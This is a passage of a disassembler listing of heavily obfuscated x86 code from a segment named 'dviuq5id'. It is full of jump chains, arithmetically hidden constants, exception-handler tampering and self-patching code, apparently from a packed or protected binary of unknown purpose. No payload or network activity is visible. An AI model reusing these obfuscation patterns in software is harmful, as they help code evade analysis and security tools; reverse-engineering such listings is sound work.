; FUNCTION CHUNK AT 0045818D SIZE 00000005 BYTES

		pop	edx
		jz	loc_447FF8
		mov	eax, [esp+0]
		call	sub_44E67F

loc_43C71F:				; CODE XREF: dviuq5id:loc_43C8E9j
		jz	loc_4430A2
		jmp	loc_45818D
sub_43C710	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43C72A:				; CODE XREF: dviuq5id:0043F26Fj
		mov	eax, [eax]
		call	sub_43BDC3
; START	OF FUNCTION CHUNK FOR sub_459983

loc_43C731:				; CODE XREF: sub_459983+11j
		jmp	loc_447990
; END OF FUNCTION CHUNK	FOR sub_459983
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45A310

loc_43C736:				; CODE XREF: sub_45A310-16ABEj
		jmp	loc_451FBB
; END OF FUNCTION CHUNK	FOR sub_45A310
; ---------------------------------------------------------------------------

loc_43C73B:				; CODE XREF: dviuq5id:0043966Dj
		jmp	locret_44E40D
; ---------------------------------------------------------------------------

loc_43C740:				; DATA XREF: dviuq5id:0045265Co
		push	eax
		call	sub_4564F1
		push	0A43D402Ah
		pop	eax
		or	eax, 2B0AA16Fh
		jmp	loc_448DA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45383B

loc_43C757:				; CODE XREF: sub_45383B-B46Bj
					; sub_45383B:loc_44D854j
		pop	large dword ptr	fs:0
		add	esp, 4
		push	9A42D9EBh
		pop	eax
		add	eax, 23342DAEh
		rol	eax, 1Ch
		jmp	loc_441D59
; END OF FUNCTION CHUNK	FOR sub_45383B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454228

loc_43C775:				; CODE XREF: sub_454228+6j
		cmp	ds:dword_453D0C, 0
		jnz	loc_459CF3
		jmp	loc_444E97
; END OF FUNCTION CHUNK	FOR sub_454228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_43C787:				; CODE XREF: sub_4492F0:loc_452D7Ej
		add	eax, 3AE8738Eh
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_459D37
		jmp	loc_44AE3A
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------

loc_43C79C:				; CODE XREF: dviuq5id:004452A1j
		xor	ebx, 26CF7AA9h

loc_43C7A2:				; CODE XREF: dviuq5id:loc_444F56j
		mov	eax, [ebp-4]
		call	sub_43BB7A

loc_43C7AA:				; CODE XREF: dviuq5id:00457F61j
		jmp	loc_43A3AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4572AA

loc_43C7AF:				; CODE XREF: sub_4572AA-13F5Bj
		jmp	loc_43DB31
; END OF FUNCTION CHUNK	FOR sub_4572AA
; ---------------------------------------------------------------------------

loc_43C7B4:				; CODE XREF: dviuq5id:loc_455EF0j
		pop	edx
		add	edx, 99C95CD4h
		xor	edx, 0E24B75C2h
		call	sub_449EB7
		retn
; ---------------------------------------------------------------------------

loc_43C7C7:				; CODE XREF: dviuq5id:0045335Ej
		jmp	locret_44D58B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_43C7CC:				; CODE XREF: sub_43FDFB+9F45j
		jmp	loc_44D171
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_43C7D1:				; CODE XREF: sub_43CB4C:loc_43DA92j
					; dviuq5id:0043F312j
		jmp	loc_44E40E
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_43C7D6:				; CODE XREF: sub_454094-114BBj
		push	esi
		push	448ACEDBh
		xchg	ebx, [esp+10h+var_10]
		jmp	loc_445346
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445707

loc_43C7E4:				; CODE XREF: sub_445707:loc_448E4Ej
		push	eax
		call	sub_4413C6

loc_43C7EA:				; CODE XREF: sub_456253-FC4Dj
		jmp	loc_43E435
; END OF FUNCTION CHUNK	FOR sub_445707
; ---------------------------------------------------------------------------

loc_43C7EF:				; CODE XREF: dviuq5id:0044028Dj
		jz	loc_43BE55
; START	OF FUNCTION CHUNK FOR sub_43E10E

loc_43C7F5:				; CODE XREF: sub_43E10E+E4CDj
		jmp	sub_43CCD1
; END OF FUNCTION CHUNK	FOR sub_43E10E
; ---------------------------------------------------------------------------
		push	esi
		not	ecx
		jmp	loc_43BE49
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_290. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_43C803:				; CODE XREF: dviuq5id:0043E36Dj
					; sub_454094-1053j
		jmp	loc_43E360
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C9E4

loc_43C808:				; CODE XREF: sub_44C9E4+576Bj
		jmp	sub_4463B7
; END OF FUNCTION CHUNK	FOR sub_44C9E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E99

loc_43C80D:				; CODE XREF: sub_440E99+CE9Ej
		jmp	sub_4463B7
; END OF FUNCTION CHUNK	FOR sub_440E99
; ---------------------------------------------------------------------------
		or	ecx, 27F4E96Fh
		jmp	sub_452A3E
; ---------------------------------------------------------------------------

loc_43C81D:				; CODE XREF: dviuq5id:0043A593j
		ror	ebx, 1Ch
; START	OF FUNCTION CHUNK FOR sub_45147D

loc_43C820:				; CODE XREF: sub_45147D:loc_43A57Cj
		add	edi, 37953F35h
		popf
; END OF FUNCTION CHUNK	FOR sub_45147D
; START	OF FUNCTION CHUNK FOR sub_44E67F

loc_43C827:				; CODE XREF: sub_44E67F:loc_4416D1j
		sub	eax, edi
		jmp	loc_448A1D
; END OF FUNCTION CHUNK	FOR sub_44E67F
; ---------------------------------------------------------------------------

loc_43C82E:				; CODE XREF: dviuq5id:loc_455C6Dj
		inc	eax
		mov	[ebp-24h], eax
		mov	dword ptr [ebp-18h], 0
; START	OF FUNCTION CHUNK FOR sub_4553DE

loc_43C839:				; CODE XREF: sub_4553DE+Aj
		mov	eax, [ebp-14h]
		mov	eax, [eax+20h]
		add	eax, [ebp-4]
		jmp	loc_439063
; END OF FUNCTION CHUNK	FOR sub_4553DE
; ---------------------------------------------------------------------------
		call	nullsub_6
		call	sub_4463B7
		call	nullsub_481
; START	OF FUNCTION CHUNK FOR sub_454117

loc_43C856:				; CODE XREF: sub_454117:loc_43D17Cj
		mov	eax, [ebp-4]
		cmp	dword ptr [eax+4], 0
		ja	loc_441959
		jmp	loc_43A462
; END OF FUNCTION CHUNK	FOR sub_454117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44952D

loc_43C868:				; CODE XREF: sub_44952D-5A2Fj
					; sub_44952D:loc_44660Bj
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_43FEA2
		jmp	loc_445DDF
; END OF FUNCTION CHUNK	FOR sub_44952D
; ---------------------------------------------------------------------------
		mov	eax, 0E5254649h
		call	sub_453642
		push	esi
		push	22ED97Ah
		jmp	loc_456A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445110

loc_43C88E:				; CODE XREF: sub_445110:loc_456F9Bj
		pop	eax
		xchg	eax, [esp+4+var_4]
		call	sub_45A310
		mov	eax, 475BA966h
		call	sub_44A58C
		jmp	loc_44393D
; END OF FUNCTION CHUNK	FOR sub_445110
; ---------------------------------------------------------------------------
		xchg	ebx, edi
		jmp	sub_448064
; ---------------------------------------------------------------------------
		pushf
		jmp	sub_442FBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4411C6

loc_43C8B3:				; CODE XREF: sub_4411C6-74B9j
		jl	loc_45026D
		not	eax
		push	9AEA3110h
		jmp	loc_450262
; END OF FUNCTION CHUNK	FOR sub_4411C6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_130. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B24C

loc_43C8C6:				; CODE XREF: sub_43B24C+196CDj
		jbe	loc_445306

loc_43C8CC:				; CODE XREF: dviuq5id:loc_44A5DAj
		call	nullsub_1
		retn
; END OF FUNCTION CHUNK	FOR sub_43B24C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_43C8D2:				; CODE XREF: sub_43FAE1-5ACFj
		jmp	loc_44F3FA
; END OF FUNCTION CHUNK	FOR sub_43FAE1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_43C8D8:				; CODE XREF: sub_440898:loc_457D60j
		jnz	loc_448D58
		jmp	loc_43D911
; END OF FUNCTION CHUNK	FOR sub_440898
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_422. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459B3F

loc_43C8E4:				; CODE XREF: sub_459B3F+7j
		jmp	loc_44231F
; END OF FUNCTION CHUNK	FOR sub_459B3F
; ---------------------------------------------------------------------------

loc_43C8E9:				; CODE XREF: dviuq5id:004463F1j
		jmp	loc_43C71F
; ---------------------------------------------------------------------------

loc_43C8EE:				; CODE XREF: dviuq5id:00441ABBj
		jmp	sub_443481

; =============== S U B	R O U T	I N E =======================================



sub_43C8F3	proc near		; CODE XREF: dviuq5id:0044314Fj
					; dviuq5id:00455F5Cp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0045274D SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00454F59 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_44952D
		push	0A1733E0Eh
		pop	eax
		sub	eax, 9469C2A2h
		jmp	loc_454F59
sub_43C8F3	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_81. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43C912:				; CODE XREF: dviuq5id:0043F3E6j
		jmp	loc_4574C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BD0B

loc_43C917:				; CODE XREF: sub_44BD0B-9BB3j
		pop	ebx
		mov	eax, [esp-4+arg_0]
		push	edx
		push	ecx
		push	850C53Bh
		pop	ecx
		jmp	loc_446B74
; END OF FUNCTION CHUNK	FOR sub_44BD0B
; ---------------------------------------------------------------------------
		mov	edx, 4CB976E9h
		push	offset loc_43A642
		jmp	locret_44ED55
; ---------------------------------------------------------------------------

loc_43C937:				; CODE XREF: dviuq5id:0044B28Fj
		jnz	loc_439520
		jmp	loc_43BC31
; ---------------------------------------------------------------------------

loc_43C942:				; CODE XREF: dviuq5id:00446A06j
		cmp	eax, 3E51DD5Bh
		jmp	loc_45117A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457566

loc_43C94D:				; CODE XREF: sub_457566-7B50j
					; sub_457566:loc_453030j
		mov	eax, 80F02D07h
		call	sub_4574FD

loc_43C957:				; DATA XREF: dviuq5id:loc_440C57o
		pushf
		add	edx, 3A81312Dh
		add	edx, 0C57ECEEFh
		mov	edx, [edx]
		popf
		add	edx, [ebp-4]
		call	sub_448AC0
; END OF FUNCTION CHUNK	FOR sub_457566
; START	OF FUNCTION CHUNK FOR sub_451EEC

loc_43C96F:				; CODE XREF: sub_451EEC-15242j
		jmp	loc_447C55
; END OF FUNCTION CHUNK	FOR sub_451EEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_43C974:				; CODE XREF: sub_43FA59:loc_44A4C1j
					; sub_43FA59+150FBj
		push	0B594CFCFh
		push	offset sub_454142
		jmp	loc_4510E2
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------

loc_43C983:				; CODE XREF: dviuq5id:00444C9Ej
		jbe	loc_441AA4
		xchg	ecx, [edi]
		jmp	loc_44C803
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456734

loc_43C990:				; CODE XREF: sub_456734:loc_454994j
		xchg	edx, [ebx]
		jmp	loc_439269
; END OF FUNCTION CHUNK	FOR sub_456734
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EE8F

loc_43C997:				; CODE XREF: sub_43EE8F+7D54j
		mov	edi, offset byte_482E45
		mov	ecx, [esi]
		add	ecx, esi
; END OF FUNCTION CHUNK	FOR sub_43EE8F
; START	OF FUNCTION CHUNK FOR sub_454117

loc_43C9A0:				; CODE XREF: sub_43EE8F:loc_448F86j
					; sub_454117+9j
		add	dword ptr [ebp-4], 8
		jmp	loc_43D17C
; END OF FUNCTION CHUNK	FOR sub_454117

; =============== S U B	R O U T	I N E =======================================



sub_43C9A9	proc near		; CODE XREF: sub_445817+230Ap
					; sub_43E10E+1BFA2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004394B3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043BEBE SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044080F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442B2B SIZE 00000024 BYTES
; FUNCTION CHUNK AT 004443DC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449910 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449BEA SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0044A9A2 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044B3DD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CC39 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044D291 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D5CA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044ED30 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044F2DA SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044F5BF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044FFD3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00452879 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00454930 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00455A12 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00457A2C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00458056 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004585E2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045A482 SIZE 00000005 BYTES

		push	ecx
		mov	ecx, ebp
		call	sub_44797B

loc_43C9B1:				; CODE XREF: sub_44CBA2:loc_445912j
		add	eax, 0B7B38A11h
		mov	eax, [eax]
		test	byte ptr [eax+1], 80h
		jnz	loc_458056
		jmp	loc_44D291
sub_43C9A9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CBA2

loc_43C9C8:				; CODE XREF: sub_44CBA2-13160j
		jns	loc_43D1E8
		or	eax, 0BD2D66CCh
		jns	nullsub_309
		jmp	loc_443874
; END OF FUNCTION CHUNK	FOR sub_44CBA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D28E

loc_43C9DF:				; CODE XREF: sub_43D28E+1732Fj
		pop	eax
		and	eax, 0CD2D0F2h
		add	eax, 0CDB50DEAh
		add	eax, ebp
		add	eax, 258861F2h
		mov	eax, [eax]
		mov	al, [eax]
		jmp	loc_452FC9
; END OF FUNCTION CHUNK	FOR sub_43D28E

; =============== S U B	R O U T	I N E =======================================



sub_43C9FD	proc near		; CODE XREF: dviuq5id:00440DD4p
					; dviuq5id:00454DCDj

; FUNCTION CHUNK AT 004392AC SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi

loc_43CA01:				; CODE XREF: dviuq5id:loc_449D22j
		call	sub_453642
		mov	ds:dword_41D18C, eax
		lea	eax, nullsub_483
		mov	byte ptr [eax],	0C3h
		jmp	loc_4392AC
sub_43C9FD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		call	nullsub_473
		jmp	ds:dword_41D190
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442503

loc_43CA25:				; CODE XREF: sub_442503-7C81j
		jmp	loc_459F98
; END OF FUNCTION CHUNK	FOR sub_442503
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449485

loc_43CA2A:				; CODE XREF: sub_449485:loc_441E9Cj
		pop	ebp
		pop	eax
		push	esi
		mov	esi, ecx
		xchg	esi, [esp-4+arg_0]
		push	offset loc_457A01
		jmp	loc_43A6A9
; END OF FUNCTION CHUNK	FOR sub_449485

; =============== S U B	R O U T	I N E =======================================



sub_43CA3C	proc near		; DATA XREF: dviuq5id:loc_455745o

; FUNCTION CHUNK AT 0043A45D SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		call	sub_44952D
		mov	eax, 3C248B30h
		push	offset loc_43A1D7
		jmp	loc_43A45D
sub_43CA3C	endp

; ---------------------------------------------------------------------------
		db 0Fh
		dd 1D5C38Ah
		db 0, 8Bh, 0F0h		; CODE XREF: dviuq5id:loc_4469CFj

; =============== S U B	R O U T	I N E =======================================



sub_43CA5B	proc near		; CODE XREF: sub_451084-2FB3p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043EC04 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		xchg	ebx, [esp-4+arg_0]

loc_43CA62:				; CODE XREF: sub_439E87:loc_44808Aj
		jmp	loc_43EC04
sub_43CA5B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jnz	loc_452542
		shl	edx, 14h
		jmp	sub_43F9E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450519

loc_43CA75:				; CODE XREF: sub_450519-CA35j
		jge	loc_450CCF

loc_43CA7B:				; CODE XREF: sub_451E18+Cj
		jmp	loc_44BA0E
; END OF FUNCTION CHUNK	FOR sub_450519
; ---------------------------------------------------------------------------
		push	5285B963h
		not	edi
		sub	edi, 4943F51Dh
		pushf
		jmp	loc_450CCD
; ---------------------------------------------------------------------------
		mov	ds:dword_41D130, eax
		call	sub_443498

loc_43CA9E:				; CODE XREF: dviuq5id:00446410j
		push	esi
		push	edx
		pop	esi
		xchg	esi, [esp]
		push	esi
		push	21A89150h
		pop	esi
		jmp	loc_4564A3
; ---------------------------------------------------------------------------
		mov	ds:off_41D018, eax
		call	sub_446AB8
; START	OF FUNCTION CHUNK FOR sub_43F013

loc_43CABB:				; CODE XREF: sub_43F013+1033Bj
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_43F013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445707

loc_43CAC0:				; CODE XREF: sub_445707+7875j
		jmp	loc_442314
; END OF FUNCTION CHUNK	FOR sub_445707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457574

loc_43CAC5:				; CODE XREF: sub_457574-10E1Aj
		jmp	nullsub_279
; END OF FUNCTION CHUNK	FOR sub_457574
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4458D3

loc_43CACA:				; CODE XREF: sub_4458D3+Ej
		jmp	loc_44D971
; END OF FUNCTION CHUNK	FOR sub_4458D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446465

loc_43CACF:				; CODE XREF: sub_446465+5j
		pop	ebp
		js	loc_449639

loc_43CAD6:				; CODE XREF: dviuq5id:004403A3j
		mov	eax, [esp-4+arg_0]
		push	eax
		mov	eax, edx
		xchg	eax, [esp+0]
		call	sub_445A59
		jmp	loc_44F97D
; END OF FUNCTION CHUNK	FOR sub_446465
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_43CAE9:				; CODE XREF: sub_44E1C0-11294j
		xchg	edx, [esp+0]
		jmp	loc_44DF03
; END OF FUNCTION CHUNK	FOR sub_44E1C0
; ---------------------------------------------------------------------------

loc_43CAF1:				; CODE XREF: dviuq5id:0044C6D3j
		xor	edi, ecx
		test	esi, edx
		jmp	loc_43AB96
; ---------------------------------------------------------------------------

loc_43CAFA:				; CODE XREF: dviuq5id:00444CB7j
		jz	loc_44C414
		jmp	loc_4585C5

; =============== S U B	R O U T	I N E =======================================



sub_43CB05	proc near		; CODE XREF: sub_449B7F-9460p
					; dviuq5id:0044BFC1j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043D4FE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00441BC0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442E08 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447C19 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452AA5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004540EF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00454A7C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0045643C SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xchg	esi, [esp-4+arg_0]
		push	0
		call	sub_445707
		push	eax
		jmp	loc_454A7C
sub_43CB05	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45553D

loc_43CB19:				; CODE XREF: sub_45553D+15j
		mov	edx, [ebp-8]
		mov	eax, [ebp-4]
		call	nullsub_2
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_45553D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_43CB28:				; CODE XREF: sub_440898+19CC4j
		jmp	loc_44ACF3
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450981

loc_43CB2D:				; CODE XREF: sub_450981+7j
		jmp	loc_43D523
; END OF FUNCTION CHUNK	FOR sub_450981
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4534AA

loc_43CB33:				; CODE XREF: sub_4534AA+12j
		jmp	loc_45A268
; END OF FUNCTION CHUNK	FOR sub_4534AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4F8

loc_43CB38:				; CODE XREF: sub_43F4F8+51EAj
		jmp	loc_44465E
; END OF FUNCTION CHUNK	FOR sub_43F4F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B660

loc_43CB3D:				; CODE XREF: sub_43B660+1j
		jmp	loc_44619C
; END OF FUNCTION CHUNK	FOR sub_43B660
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AD42

loc_43CB42:				; CODE XREF: sub_44AD42:loc_43BC10j
		call	sub_44E657
; END OF FUNCTION CHUNK	FOR sub_44AD42
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_43CB47:				; CODE XREF: sub_43C4B5+55B6j
		jmp	loc_450486
; END OF FUNCTION CHUNK	FOR sub_43C4B5

; =============== S U B	R O U T	I N E =======================================



sub_43CB4C	proc near		; CODE XREF: dviuq5id:00447B78j
					; sub_44084F+10456p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004392D9 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0043B163 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B18A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B4E5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C55D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C602 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0043C7D1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D67B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043DA92 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0043DDE8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043E97F SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0043EA04 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043ECA0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043FAB2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440564 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441C1D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004422D0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044255E SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00442894 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004430A1 SIZE 00000001 BYTES
; FUNCTION CHUNK AT 00443E85 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0044467D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445C83 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00449545 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00449A63 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00449D02 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00449DDD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044CD84 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0044E40E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044EDD1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044F00B SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044F478 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044F7B2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044FDC5 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0044FEE6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044FEF8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045005A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450081 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450EE2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004512EC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00451310 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00451615 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00452F06 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00453138 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0045324F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00456019 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0045611B SIZE 0000002C BYTES
; FUNCTION CHUNK AT 004576AD SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00458198 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00459923 SIZE 00000021 BYTES

		xchg	edx, [esp+0]
		pop	edx
		cmp	dword ptr [ebp-10h], 3
		jnb	loc_4422D0
		mov	eax, [ebp+8]
		jmp	loc_451615
sub_43CB4C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A5A8

loc_43CB62:				; CODE XREF: sub_44A5A8+C63Bj
		sub	edx, 0D0817FA4h
		pop	esi
		or	esi, 0D4EA3BD9h
; END OF FUNCTION CHUNK	FOR sub_44A5A8
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_43CB6F:				; CODE XREF: sub_43FA59+11j
					; sub_43FA59:loc_446BADj ...
		js	loc_44EDC1
		cmp	dword ptr [ebp-4], 1
		jmp	loc_4415BF
; END OF FUNCTION CHUNK	FOR sub_43FA59
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_393. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_43CB7F	proc near		; CODE XREF: sub_43CB05:loc_452AA5j
		push	ebx
		push	0AEDCB39Fh
		pop	ebx
sub_43CB7F	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_43CB86:				; CODE XREF: sub_43FDFB+118E9j
		sub	ebx, 0D58F4779h
		or	ebx, 0B63C4139h
		xor	ebx, 0FC89A66Bh
		add	ebx, ebp
		jmp	loc_43C1D6
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_43CB9F:				; CODE XREF: sub_43C2DA+Ej
		jz	loc_44A51E
		jmp	loc_45A5F9
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E10E

loc_43CBAA:				; CODE XREF: sub_43E10E+E39j
		add	edi, eax

loc_43CBAC:				; CODE XREF: sub_43E10E-E4j
		and	eax, ds:4000F8h
		jnz	loc_456083

loc_43CBB8:				; CODE XREF: sub_455470+13j
		jmp	loc_43956D
; END OF FUNCTION CHUNK	FOR sub_43E10E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44245C

loc_43CBBD:				; CODE XREF: sub_4437DF+13j
		jmp	nullsub_298
; END OF FUNCTION CHUNK	FOR sub_44245C
; ---------------------------------------------------------------------------
		sub	eax, edi
		jmp	loc_45607A
; ---------------------------------------------------------------------------

locret_43CBC9:				; CODE XREF: dviuq5id:loc_4459FBj
		retn
; ---------------------------------------------------------------------------

loc_43CBCA:				; CODE XREF: dviuq5id:00456E16j
		ja	loc_4481D1
		push	0CBB442E2h

; =============== S U B	R O U T	I N E =======================================



